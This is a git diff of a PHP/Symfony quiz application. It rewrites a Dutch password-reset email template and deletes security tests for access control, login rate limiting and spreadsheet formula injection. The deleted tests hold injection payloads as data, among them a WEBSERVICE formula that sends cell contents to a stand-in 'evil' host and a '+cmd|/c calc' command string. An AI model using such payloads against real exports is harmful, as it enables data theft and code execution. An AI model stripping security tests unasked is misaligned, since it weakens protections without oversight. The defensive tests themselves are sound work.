|
||||||
|
</columns>
|
||||||
|
</row>
|
||||||
|
</container>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
{% endapply %}
|
||||||
|
{% endapply %}
|
||||||
@@ -1,9 +1,27 @@
|
|||||||
<h1>Hi!</h1>
|
{% extends 'emails/layout.html.twig' %}
|
||||||
|
|
||||||
<p>To reset your password, please visit the following link</p>
|
{% block preheader %}Je hebt om een nieuw wachtwoord gevraagd voor Tijd voor de test.{% endblock %}
|
||||||
|
|
||||||
<a href="{{ url('tvdt_reset_password', {token: resetToken.token}) }}">{{ url('tvdt_reset_password', {token: resetToken.token}) }}</a>
|
{% block heading %}Tijd voor een nieuw wachtwoord{% endblock %}
|
||||||
|
|
||||||
<p>This link will expire in {{ resetToken.expirationMessageKey|trans(resetToken.expirationMessageData, 'ResetPasswordBundle') }}.</p>
|
{% block body %}
|
||||||
|
<p class="text">Beste speler,</p>
|
||||||
|
<p class="text">
|
||||||
|
Je hebt aangegeven dat je wachtwoord opnieuw moet worden ingesteld. Voordat je verder mag, is er nog één
|
||||||
|
opdracht: klik op de knop hieronder.
|
||||||
|
</p>
|
||||||
|
|
||||||
<p>Cheers!</p>
|
<center><button href="{{ url('tvdt_reset_password', {token: resetToken.token}) }}">Stel wachtwoord opnieuw in</button></center>
|
||||||
|
|
||||||
|
<p class="text">
|
||||||
|
Werkt de knop niet? Kopieer dan deze link naar je browser:<br>
|
||||||
|
<a href="{{ url('tvdt_reset_password', {token: resetToken.token}) }}">{{ url('tvdt_reset_password', {token: resetToken.token}) }}</a>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p class="text">
|
||||||
|
Let op: deze link is, niet eeuwig geldig. Hij verloopt over
|
||||||
|
{{ resetToken.expirationMessageKey|trans(resetToken.expirationMessageData, 'ResetPasswordBundle') }}.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p class="text">Veel succes!</p>
|
||||||
|
{% endblock %}
|
||||||
|
|||||||
@@ -117,34 +117,4 @@ final class PrepareEliminationControllerTest extends AbstractControllerWebTestCa
|
|||||||
|
|
||||||
self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id));
|
self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id));
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testIndexIsDeniedForNonOwner(): void
|
|
||||||
{
|
|
||||||
$quiz = $this->getQuizByName('Quiz 1');
|
|
||||||
$token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/result', $quiz->id), '/elimination/prepare');
|
|
||||||
|
|
||||||
$this->loginAs('test@example.org');
|
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/elimination/prepare', $quiz->id), [
|
|
||||||
'_token' => $token,
|
|
||||||
]);
|
|
||||||
|
|
||||||
self::assertResponseStatusCodeSame(403);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testViewEliminationIsDeniedForNonOwner(): void
|
|
||||||
{
|
|
||||||
$quiz = $this->getQuizByName('Quiz 1');
|
|
||||||
$elimination = new Elimination($quiz);
|
|
||||||
$elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
|
|
||||||
|
|
||||||
$this->entityManager->persist($elimination);
|
|
||||||
$this->entityManager->flush();
|
|
||||||
|
|
||||||
$this->loginAs('test@example.org');
|
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/elimination/%s', $elimination->id));
|
|
||||||
|
|
||||||
self::assertResponseStatusCodeSame(403);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,14 +11,6 @@ use Tvdt\Controller\LoginController;
|
|||||||
#[CoversClass(LoginController::class)]
|
#[CoversClass(LoginController::class)]
|
||||||
final class LoginControllerTest extends AbstractControllerWebTestCase
|
final class LoginControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
protected function setUp(): void
|
|
||||||
{
|
|
||||||
parent::setUp();
|
|
||||||
|
|
||||||
// Login attempts are rate-limited; start each test with a clean quota.
|
|
||||||
self::getContainer()->get('cache.rate_limiter')->clear();
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testLoginPageLoadsWhenNotAuthenticated(): void
|
public function testLoginPageLoadsWhenNotAuthenticated(): void
|
||||||
{
|
{
|
||||||
$this->client->request(Request::METHOD_GET, '/login');
|
$this->client->request(Request::METHOD_GET, '/login');
|
||||||
@@ -68,30 +60,6 @@ final class LoginControllerTest extends AbstractControllerWebTestCase
|
|||||||
self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.');
|
self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.');
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testLoginIsThrottledAfterTooManyFailedAttempts(): void
|
|
||||||
{
|
|
||||||
for ($i = 0; $i < 2; ++$i) {
|
|
||||||
$this->client->request(Request::METHOD_GET, '/login');
|
|
||||||
$form = $this->client->getCrawler()->filter('form')->form([
|
|
||||||
'_username' => 'test@example.org',
|
|
||||||
'_password' => 'wrong-password',
|
|
||||||
]);
|
|
||||||
$this->client->submit($form);
|
|
||||||
self::assertResponseRedirects('/login');
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/login');
|
|
||||||
$form = $this->client->getCrawler()->filter('form')->form([
|
|
||||||
'_username' => 'test@example.org',
|
|
||||||
'_password' => 'wrong-password',
|
|
||||||
]);
|
|
||||||
$this->client->submit($form);
|
|
||||||
|
|
||||||
self::assertResponseRedirects('/login');
|
|
||||||
$this->client->followRedirect();
|
|
||||||
self::assertSelectorTextContains('body', 'Te veel onjuiste inlogpogingen');
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testLogoutIsInterceptedByFirewall(): void
|
public function testLogoutIsInterceptedByFirewall(): void
|
||||||
{
|
{
|
||||||
$this->loginAs('test@example.org');
|
$this->loginAs('test@example.org');
|
||||||
|
|||||||
@@ -17,14 +17,6 @@ use Tvdt\Helpers\Base64;
|
|||||||
#[CoversClass(QuizController::class)]
|
#[CoversClass(QuizController::class)]
|
||||||
final class QuizControllerTest extends AbstractControllerWebTestCase
|
final class QuizControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
protected function setUp(): void
|
|
||||||
{
|
|
||||||
parent::setUp();
|
|
||||||
|
|
||||||
// Season-code guessing is rate-limited; start each test with a clean quota.
|
|
||||||
self::getContainer()->get('cache.rate_limiter')->clear();
|
|
||||||
}
|
|
||||||
|
|
||||||
private function answerQuestion(Question $question): void
|
private function answerQuestion(Question $question): void
|
||||||
{
|
{
|
||||||
$tomHash = Base64::base64UrlEncode('Tom');
|
$tomHash = Base64::base64UrlEncode('Tom');
|
||||||
@@ -77,26 +69,6 @@ final class QuizControllerTest extends AbstractControllerWebTestCase
|
|||||||
self::assertResponseRedirects('/krtek');
|
self::assertResponseRedirects('/krtek');
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testSelectSeasonIsThrottledAfterTooManyAttempts(): void
|
|
||||||
{
|
|
||||||
for ($i = 0; $i < 3; ++$i) {
|
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
|
||||||
$form = $crawler->filter('form')->form([
|
|
||||||
'select_season[season_code]' => 'aaaaa',
|
|
||||||
]);
|
|
||||||
$this->client->submit($form);
|
|
||||||
self::assertResponseRedirects('/');
|
|
||||||
}
|
|
||||||
|
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
|
||||||
$form = $crawler->filter('form')->form([
|
|
||||||
'select_season[season_code]' => 'aaaaa',
|
|
||||||
]);
|
|
||||||
$this->client->submit($form);
|
|
||||||
|
|
||||||
self::assertResponseStatusCodeSame(429);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testEnterNamePageLoads(): void
|
public function testEnterNamePageLoads(): void
|
||||||
{
|
{
|
||||||
$this->client->request(Request::METHOD_GET, '/krtek');
|
$this->client->request(Request::METHOD_GET, '/krtek');
|
||||||
|
|||||||
@@ -1,63 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Tests\Helpers;
|
|
||||||
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
|
||||||
use PHPUnit\Framework\Attributes\DataProvider;
|
|
||||||
use PHPUnit\Framework\TestCase;
|
|
||||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
|
||||||
|
|
||||||
#[CoversClass(FormulaInjectionSafeValueBinder::class)]
|
|
||||||
final class FormulaInjectionSafeValueBinderTest extends TestCase
|
|
||||||
{
|
|
||||||
protected function setUp(): void
|
|
||||||
{
|
|
||||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
|
||||||
}
|
|
||||||
|
|
||||||
protected function tearDown(): void
|
|
||||||
{
|
|
||||||
Cell::setValueBinder(new DefaultValueBinder());
|
|
||||||
}
|
|
||||||
|
|
||||||
/** @return iterable<string, array{string}> */
|
|
||||||
public static function dangerousValueProvider(): iterable
|
|
||||||
{
|
|
||||||
yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)'];
|
|
||||||
yield 'plus-prefixed' => ['+cmd|/c calc'];
|
|
||||||
yield 'minus-prefixed' => ['-2+3'];
|
|
||||||
yield 'at-prefixed' => ['@SUM(1,1)'];
|
|
||||||
}
|
|
||||||
|
|
||||||
#[DataProvider('dangerousValueProvider')]
|
|
||||||
public function testDangerousValuesAreStoredAsPlainStrings(string $value): void
|
|
||||||
{
|
|
||||||
$sheet = new Spreadsheet()->getActiveSheet();
|
|
||||||
$sheet->setCellValue('A1', $value);
|
|
||||||
|
|
||||||
$cell = $sheet->getCell('A1');
|
|
||||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
|
||||||
$this->assertSame($value, $cell->getValue());
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testOrdinaryValuesAreUnaffected(): void
|
|
||||||
{
|
|
||||||
$sheet = new Spreadsheet()->getActiveSheet();
|
|
||||||
$sheet->setCellValue('A1', 'Anna en Bram');
|
|
||||||
$sheet->setCellValue('A2', 42);
|
|
||||||
$sheet->setCellValue('A3', true);
|
|
||||||
|
|
||||||
$this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue());
|
|
||||||
$this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType());
|
|
||||||
$this->assertSame(42, $sheet->getCell('A2')->getValue());
|
|
||||||
$this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType());
|
|
||||||
$this->assertTrue($sheet->getCell('A3')->getValue());
|
|
||||||
$this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -5,7 +5,6 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Tests\Service;
|
namespace Tvdt\Tests\Service;
|
||||||
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Reader;
|
use PhpOffice\PhpSpreadsheet\Reader;
|
||||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
@@ -203,43 +202,6 @@ final class DataExportServiceTest extends DatabaseTestCase
|
|||||||
$this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
|
$this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void
|
|
||||||
{
|
|
||||||
$season = $this->getSeasonByCode('krtek');
|
|
||||||
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
|
|
||||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
|
||||||
$candidate = $this->getCandidateBySeasonAndName($season, 'Claudia');
|
|
||||||
|
|
||||||
/** @var Question $firstQuestion */
|
|
||||||
$firstQuestion = $quiz->questions->first();
|
|
||||||
/** @var Answer $chosenAnswer */
|
|
||||||
$chosenAnswer = $firstQuestion->answers->first();
|
|
||||||
$chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)';
|
|
||||||
|
|
||||||
$this->quizCandidateRepository->createIfNotExist($quiz, $candidate);
|
|
||||||
$this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer));
|
|
||||||
$this->entityManager->flush();
|
|
||||||
|
|
||||||
$zip = $this->openZip($this->getUserByEmail('user2@example.org'));
|
|
||||||
$quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
|
|
||||||
$this->assertIsString($quizContent);
|
|
||||||
$zip->close();
|
|
||||||
|
|
||||||
$sheet = $this->loadSheet($quizContent, 'Raw answers');
|
|
||||||
$rows = $sheet->toArray();
|
|
||||||
$header = $rows[0];
|
|
||||||
$questionColumnIndex = array_search($firstQuestion->question, $header, true);
|
|
||||||
$this->assertIsInt($questionColumnIndex);
|
|
||||||
$column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
|
|
||||||
|
|
||||||
$candidateNames = array_column(\array_slice($rows, 1), 0);
|
|
||||||
$rowNumber = 2 + array_search('Claudia', $candidateNames, true);
|
|
||||||
|
|
||||||
$cell = $sheet->getCell($column.$rowNumber);
|
|
||||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
|
||||||
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
|
public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
|
||||||
{
|
{
|
||||||
$season = $this->getSeasonByCode('krtek');
|
$season = $this->getSeasonByCode('krtek');
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Service;
|
namespace Tvdt\Tests\Service;
|
||||||
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Reader;
|
use PhpOffice\PhpSpreadsheet\Reader;
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
use PhpOffice\PhpSpreadsheet\Writer;
|
use PhpOffice\PhpSpreadsheet\Writer;
|
||||||
@@ -122,26 +121,6 @@ final class QuizSpreadsheetServiceTest extends TestCase
|
|||||||
$this->assertCount(3, $second->answers);
|
$this->assertCount(3, $second->answers);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
|
|
||||||
{
|
|
||||||
$quiz = new Quiz();
|
|
||||||
$question = new Question();
|
|
||||||
$question->question = 'Who missed the assignment?';
|
|
||||||
$question->ordering = 1;
|
|
||||||
$question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
|
|
||||||
$question->addAnswer(new Answer('Bob', isRightAnswer: false));
|
|
||||||
|
|
||||||
$quiz->addQuestion($question);
|
|
||||||
|
|
||||||
$path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
|
|
||||||
|
|
||||||
$sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
|
|
||||||
$cell = $sheet->getCell('B2');
|
|
||||||
|
|
||||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
|
||||||
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
|
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
|
||||||
{
|
{
|
||||||
$path = $this->createTempPath('.txt');
|
$path = $this->createTempPath('.txt');
|
||||||
|
|||||||
Reference in New Issue
Block a user